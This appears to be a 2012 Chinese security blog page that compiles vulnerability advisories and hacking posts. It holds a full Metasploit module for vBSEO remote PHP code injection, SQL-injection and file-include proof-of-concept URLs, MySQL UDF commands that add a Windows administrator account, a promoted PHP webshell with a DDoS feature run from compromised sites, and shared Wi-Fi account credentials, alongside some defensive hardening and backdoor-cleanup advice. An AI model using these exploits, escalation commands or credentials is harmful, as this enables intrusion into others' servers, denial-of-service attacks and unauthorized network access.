影子鹰安全网络-主站技术BLOG

DEDECMS XSS GETSHeLL 通杀所有版本

kawen — Tue, 14 Feb 2012 12:22:39 +0800

Dolibarr CMS v3.2.0 Alpha

kawen — Tue, 14 Feb 2012 12:22:39 +0800

Dolibarr CMS v3.2.0 Alpha - File Include Vulnerabilities

Title:

======

Dolibarr CMS v3.2.0 Alpha - File Include Vulnerabilities

Date:

=====

2012-02-07

References:

===========

http://www.vulnerability-lab.com/get_content.php?id=428

VL-ID:

=====

428

Introduction:

=============

Dolibarr ERP & CRM is a modern software to manage your company or foundation activity (contacts, suppliers,

invoices, orders, stocks, agenda, ...). It s an opensource free software designed for small and medium

companies, foundations and freelances. You can install, use and distribute it as a standalone application

or as a web application (on mutualized or dedicated server, or on SaaS or Cloud solutions) and use it with

any devices (desktop, smartphone, tablet).

(Copy of the Vendor Homepage: http://www.dolibarr.org/)

Abstract:

=========

Vulnerability-Lab researcher discovered a multiple File Include Vulnerabilities on Dolibarrs CMS v3.2.0 Alpha.

Report-Timeline:

================

2011-02-08: Public or Non-Public Disclosure

Status:

========

Published

Exploitation-Technique:

=======================

Remote

Severity:

=========

Critical

Details:

========

Multiple File Include Vulnerabilities are detected on Dolibarrs Content Management System v3.2.0 Alpha.

The vulnerability allows an attacker (remote) or local low privileged user account to request local web-server

or system files.  Successful exploitation of the vulnerability results in dbms & application compromise.

Vulnerable Module(s):

                    [+] ?modulepart=project&file=

                    [+] ?action=create&actioncode=AC_RDV&contactid=1&socid=1&backtopage=

Picture(s):

                    ../1.png

                    ../2.png

Proof of Concept:

=================

The vulnerabilities can be exploited by remote attackers or local low privileged user accounts. For demonstration or reproduce ...

http://server/document.php?modulepart=project&file=../[FILE INCLUDE VULNERABILITY!]

http://server/comm/action/fiche.php?action=create&actioncode=AC_RDV&contactid=1&socid=1&backtopage=../common/[FILE INCLUDE VULNERABILITY!]

Risk:

=====

The security riks of the file include vulnerabilities are estimated as high(+).

Credits:

========

Vulnerability Research Laboratory - Benjamin Kunz Mejri & Ucha Gobejishvili (longrifle0x)

Disclaimer:

===========

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,

either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-

Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business

profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some

states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation

may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-

Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of

other media, are reserved by Vulnerability-Lab or its suppliers.

                            Copyright � 2011|Vulnerability-Lab

--

Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com

Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com

让webshell无法运行

kawen — Tue, 14 Feb 2012 12:22:39 +0800

其实就是运行IIS的对目录文件夹的执行权限设置来达到让webshell无法运行的目的
您试图从目录中执行 CGI、ISAPI 或其他可执行程序，但该目录不允许执行程序。
Interneter服务器管理----IIS中站点目录右键----属性----在主目录中
查看“执行权限”一般设置为“纯脚本”，脚本文件才能正常运行，设置为“无”则不能运行

把一些图片目录，设置“执行权限”为“无”，即使webshell能上传到此目录，也无法运行！
现在很多空间商已经可以设置这样的“执行权限”，但貌似只能设置根目录的，不过已经很好了！
这样可以比较有效的防止被别人拿到webshell，但也不是绝对的！
有时候也可以构造上传到其他目录或者上一级目录，攻防无绝对！

XRayCMS 1.1.1 SQL Injection Vulnerability

kawen — Tue, 14 Feb 2012 12:22:39 +0800

# Exploit Title: XRayCMS 1.1.1 SQL Injection Vulnerability

# Date: 2/5/2012

# Author: chap0

# Software Link: http://sourceforge.net/projects/xraycms/files/latest/download

# Version: 1.1.1

# Tested on: Ubuntu

XRay CMS is vulnerable to a SQL Injection attack which allows

authentication bypass into the admins account. If a malicious

user supplies ' or 1=1# into the applications user name field

they will be logged into the applications admin account.

Jan 29, 2012 – Contacted Vendor No Response

Feb 05, 2012 – Public Disclosure

Since the vendor did not reply we attempted to create our own

fixes for this issue. The vulnerability exist in “login2.php”

on lines 20 and 21.

17  if(!isset($_POST['username'])) header("Location: login.php?error_username");

18  if(!isset($_POST['password'])) header("Location: login.php?error_password");

19

20  $user = $_POST['username'];

21  $pass = $_POST['password'];

If the lines 20 and 21 are changed to:

$user = mysql_real_escape_string($_POST['username']);

$pass = mysql_real_escape_string($_POST['password']);

This will prevent the sql injection from happening in the user name field.

putty和WinSCP后门检查及清理方式

kawen — Tue, 14 Feb 2012 12:22:39 +0800

检查及清理方式

　　检查/var/log 是否被删除# /usr/bin/stat /var/log
　　如果被删除了，说明中招了
　　查看/var/log 文件夹内容# ls -al /var/log
　　如果文件很少，说明中招了
　　监控名称为fsyslog,osysllog 的进程# /usr/bin/watch -n 1 /bin/ps -AFZ f \| /bin/grep syslog
　　如果有名称为fsyslog或osyslog的进程，说明中招了，注意不要和正常的系统日志进程混淆
　　检查/etc/init.d/sshd 的文件头是否被篡改过# /usr/bin/head /etc/init.d/sshd
　　检查/etc/init.d/sendmail 的文件头是否被篡改过# /usr/bin/head /etc/init.d/sendmail
　　检查是否有对外链接的82 端口# /bin/netstat -anp | /bin/grep ':82'
　　如果有，而你又没设置过，说明已经中招了
　　检查是否有链接到98.126.55.226 的链接# /bin/netstat -anp | /bin/grep '98\.' --color
　　如果有，说明已经中招了
　　检查/etc 文件夹下的隐藏文件.fsyslog .osyslog，检查/lib 文件夹下的隐藏文件.fsyslog .osyslog
　　/usr/bin/find /etc -name '.*' -printf '%a %c %t %M %g:%u %p\n' | /bin/grep 2012 --color
　　/usr/bin/find /lib -name '.*' -printf '%a %c %t %M %g:%u %p\n' | /bin/grep 2012 --color
　　/usr/bin/find /etc -name 'syslog' -printf '%a %c %t %M %g:%u %p\n' | /bin/grep 2012 --color
　　/usr/bin/find /lib -name 'syslog' -printf '%a %c %t %M %g:%u %p\n' | /bin/grep 2012 --color
　　如果有近期修改过的名称包含fsyslog或osyslog的文件，说明已经中招了

恢复系统日志

　　查看系统日志文件夹# ls -al /var/log
　　创建系统日志文件夹# /bin/mkdir /var/log
　　如果被删除的话需要创建
　　查看系统日志服务# /usr/bin/find /etc/init.d/ -name '*log*'
　　需要区分出你的服务器所使用的日志服务
　　关闭系统日志服务# /sbin/service syslog stop
　　你的服务器的日志服务的名称可能是另外一个名字
　　启动系统日志服务# /sbin/service syslog start
　　你的服务器的日志服务的名称可能是另外一个名字
　　创建错误登录日志文件# /bin/touch /var/log/btmp
　　设置错误登录日志文件用户组# /bin/chown root:utmp /var/log/btmp
　　设置错误登录日志文件权限# /bin/chmod 600 /var/log/btmp
　　创建登录日志文件# /bin/touch /var/log/wtmp
　　设置登录日志文件用户组# /bin/chown root:utmp /var/log/wtmp
　　设置登录日志文件权限# /bin/chmod 664 /var/log/wtmp

恢复SELinux（安全增强Linux）设置

　　查看SELinux 状态# /usr/sbin/sestatus -v
　　检查/var/log 文件夹的安全上下文# /sbin/restorecon -rn -vv /var/log
　　恢复/var/log 文件夹的安全上下文# /sbin/restorecon -r -vv /var/log
　　检查/etc 文件夹的安全上下文# /sbin/restorecon -rn -vv /etc 2>/dev/null
　　恢复/etc 文件夹的安全上下文# /sbin/restorecon -r -vv /etc 2>/dev/null
　　检查/lib 文件夹的安全上下文# /sbin/restorecon -rn -vv /lib 2>/dev/null

集管理、压力测试、查询服务器等一体的PHP大马

kawen — Tue, 14 Feb 2012 12:22:39 +0800

本软件仅供爱好者研究测试之用！

首先，PHP DDOS 是很久前的技术，现在发出来，综合了PHP 大马的服务器提权测试功能。

集于管理、压力测试、菜刀通用、查询服务器信息等技术于一体。

1 管理就不多说，大家都知道。

2 压力测试，用附带的工具进行测试，最小包1万，最大包65500，可以检测是否存在。

3 菜刀通用，可用菜刀直接进行连接，密码为WEBSHELL登陆密码。  新功能

4 查询服务器信息，查询PR，收录，权重于一体，权重获取数据标准为爱站。

..其他的没什么多说的了，SHELL没有做免杀，原码，大家凑货使，以后自己加密。。

工具使用，添加完SHELL后要导出为config.ini，否则不自动保存的。

最后一点，ASP的WEBSHELL很多支持PHP的，附带一款ASPSHELL 大家可以检测PHP ，支持传入即可。

DDOS功能是以webshell当肉鸡,PHP 很少掉鸡,威力还蛮大，大家自己测试吧。

官方网站  http://www.aspmuma.org/

官方下载地址  http://www.aspmuma.org/Software/Catalog7/74.html

作者EMAIL：liuaqiangbb@163.com

下载

MYSQL提权

kawen — Tue, 14 Feb 2012 12:22:39 +0800

1 获得root密码

conn.php config.php

$dbhost = 'localhost';// 数据库服务器

$dbuser = 'root';// 数据库用户名

$dbpw = 'root';// 数据库密码

$dbname = 'discuz';// 数据库名

C:\Winnt\udf.dll    2000

C:\Windows\udf.dll 2003

现在基本上win的服务器就这两个导出UDF.DLL

create function cmdshell returns string soname 'udf.dll'

select cmdshell('net user wjs wjs /add');

select cmdshell('net localgroup administrators wjs /add');

select cmdshell('C:/PHPnow/htdocs/3389.exe');  这个是把开3389的文件放到C盘，然后运行，我们服务器开了3389就不需要执行这步

drop function cmdshell; 删除函数

select cmdshell('netstat -an'); 这是查看端口查开放情况

Snort Report <= 1.3.2 SQL

kawen — Tue, 14 Feb 2012 12:22:39 +0800

Snort Report <= 1.3.2 SQL Injection Vulnerability

##########################

Vulnerable parameter:

ipAddress

Vulnerable URL:

http://server/ipdetail.php?type=dst&FQDN=&ipAddress=773116111<SQLi Here>&beginTime=0&endTime=1324665310

PoC:

http://server/ipdetail.php?type=dst&FQDN=&ipAddress=773116111%20AND%20%28SELECT%205849%20FROM%28SELECT%20COUNT%28*%29%2CCONCAT%280x3a79786a3a%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a7578713a%2CFLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29&beginTime=0&endTime=1324665310

##########################

# Patched in v1.3.3

中国移动，中国电信免费公共wifi密码

kawen — Tue, 14 Feb 2012 12:22:39 +0800

【中国移动公共wifi的密码】
卡号：15821275836密码：159258
卡号：15800449592密码：159258
卡号：15800449954密码：159258
卡号：15800449940密码：159258

中国电信但凡你的手机能搜到中国电信的chinanet的热点覆盖，全国公免账号07953591377密码3591377 。

说明：
可能有很多人已经知道了，我只是给还不知道的人扫一下盲

可能有些人不知道怎么用，首先就是要你所在的地方能搜到移动或电信的公共wifi信号，目前此信号覆盖的还不是很广。但还是会有人能搜到吧，比如我！搜到之后先用你的设备连接移动的wifi网络，就会跳出网页，要你输入手机号和密码（就是我上面提供的那个），输入后可用的话，就可以上网了。

vBSEO <= 3.6.0 Injection Exploit

kawen — Tue, 14 Feb 2012 12:22:39 +0800

vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection Exploit

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',

            'Description'    => %q{

                    This module exploits a vulnerability in the 'proc_deutf()' function

                defined in /includes/functions_vbseocp_abstract.php. User input passed through

                'char_repl' POST parameter isn't properly sanitized before being used in a call

                to preg_replace() function which uses the 'e' modifier. This can be exploited to

                inject and execute arbitrary code leveraging the PHP's complex curly syntax.

            },

            'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor

            'License'        => MSF_LICENSE,

            'Version'        => '$Revision$',

            'References'     =>

                [

                    ['BID', '51647'],

                    ['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],

                ],

            'Privileged'     => false,

            'Payload'        =>

                {

                    'DisableNops' => true,

                    'Space'       => 8190,

                    'Keys'        => ['php'],

                },

            'Platform'       => ['php'],

            'Arch'           => ARCH_PHP,

            'Targets'        => [[ 'Automatic', { }]],

            'DisclosureDate' => 'Jan 23 2012',

            'DefaultTarget'  => 0))

            register_options(

                [

                    OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),

                ], self.class)

    end

    def check

        flag = rand_text_alpha(rand(10)+10)

        data = "char_repl='{${print(#{flag})}}'=>"

        uri = ''

        uri << datastore['URI']

        uri << '/' if uri[-1,1] != '/'

        uri << 'vbseocp.php'

        response = send_request_cgi({

            'method' => "POST",

            'uri' => uri,

            'data' => "#{data}"

        })

        if response.code == 200 and response.body =~ /#{flag}/

            return Exploit::CheckCode::Vulnerable

        end

        return Exploit::CheckCode::Safe

    end

    def exploit

        if datastore['CMD']

            p = "passthru(\"%s\");" % datastore['CMD']

            p = Rex::Text.encode_base64(p)

        else

            p = Rex::Text.encode_base64(payload.encoded)

        end

        data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

        uri = ''

        uri << datastore['URI']

        uri << '/' if uri[-1,1] != '/'

        uri << 'vbseocp.php'

        response = send_request_cgi({

            'method' => 'POST',

            'uri' => uri,

            'data' => data,

            'headers' => { 'Code' => p }

        })

        print_status("%s" % response.body) if datastore['CMD']

    end

end